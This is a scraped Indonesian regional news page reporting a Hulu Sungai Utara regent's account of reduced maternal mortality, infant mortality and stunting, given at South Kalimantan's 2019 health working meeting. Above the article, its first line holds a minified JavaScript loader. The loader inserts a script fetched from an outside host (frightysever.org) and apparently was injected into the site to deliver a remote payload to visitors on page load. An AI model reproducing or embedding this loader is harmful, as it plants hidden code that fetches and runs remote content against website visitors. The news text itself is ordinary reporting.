(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Bupati HSU H Abdul Wahid HK menyebut keberhasilan pemerintah HSU menurunkan angka stanting tidak terlepas dari strategi sebagai langkah antisipasi. Hal tersebut disampaikannya saat diminta menjadi narasumber progarm penurunan Angka Kematian Ibu (AKI), Angka Kematian Bayi (AKB) dan Stunting pada acara Rapat Kerja Kesehatan Daerah (Rakerkesda) 2019 yang diselenggarakan Dinas Kesehatan Provinsi Kalsel tanggal 4-7 Maret 2019 di Hotel Rattan Inn Banjarmasin, Selasa (5/2).
Lebih lanjut, dalam pemaparannya Bupati Wahid mengatakan AKI 2012 paling tinggi di Kalimantan Selatan dengan angka 18 kasus dan di tahun 2018 menjadi 5 kasus. Sehingga hal ini perlu mendapat perhatian yang serius dari pemerintah.
Sedangkan untuk masalah stunting, Wahid menyebut HSU juga mengalami penurunan dari 56 % di 2013 menjadi 39,9 % di tahun 2018. Sehingga strategi yang selama ini diterapkan mulai dirasakan manfaatnya. “Keberhasilan ini tidak terlepas dari strategi dan kebijakan yang diambil Bupati HSU dalam menurunkan AKB, AKI, dan Stunting,” kata Wahid.
Hal ini tentu juga tak terlepas dari program penurunan AKB, AKI oleh Pemkab HSU, salah satunya dengan menyediakan Rumah Tunggu Kelahiran (RTK) bagi ibu hamil yang memiliki risiko tinggi.
Sementara itu, Gubernur Kalsel H Sahbirin Noor dalam sambutannya mengingatkan agar masyarakat terus menggelorakan semangat meningkatkan derajat kesehatan di Kalsel. Hal ini dimulai dengan memberi makanan sehat dan bergizi kepada anak-anak.
Menurut gubernur yang akrab disapa Paman Birin, makanan yang sehat dan bergizi tidak harus mahal. Karenanya hal ini bisa diusahakan agar generasi yang akan datang mampu bersaing dengan bangsa bangsa lain. “Saya juga mengajak kepada masyarakat agar bisa membudayakan perilaku hidup bersih dan sehat untuk mendukung terwujudnya masyarakat Kalsel sehat,” tandasnya.
Rakerkesda 2019 mengambil tema “Kolaborasi kebijkan pemerintah pusat dan daerah bergerak untuk mewujudkan Kalimantan Selatan sehat.†Rapat dibuka langsung Gubernur Sahbirin Noor. Hadir pula dalam kegiatan tersebut  Bupati/Walikota se Kalsel, Kepala Dinas Kesehatan se Kalsel, dan Menteri Kesehatan RI Ibu Nila Moeloek.
Pada kegiatan itu, dilakukan penandatangan komitmen bersama Kolaborasi kebijakan pemerintah pusat dan daerah bergerak untuk mewujudkan Kalimantan Selatan sehat oleh Gubernur Kalsel, Bupati HSU, Balangan, Batola dan HSS. (dew)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.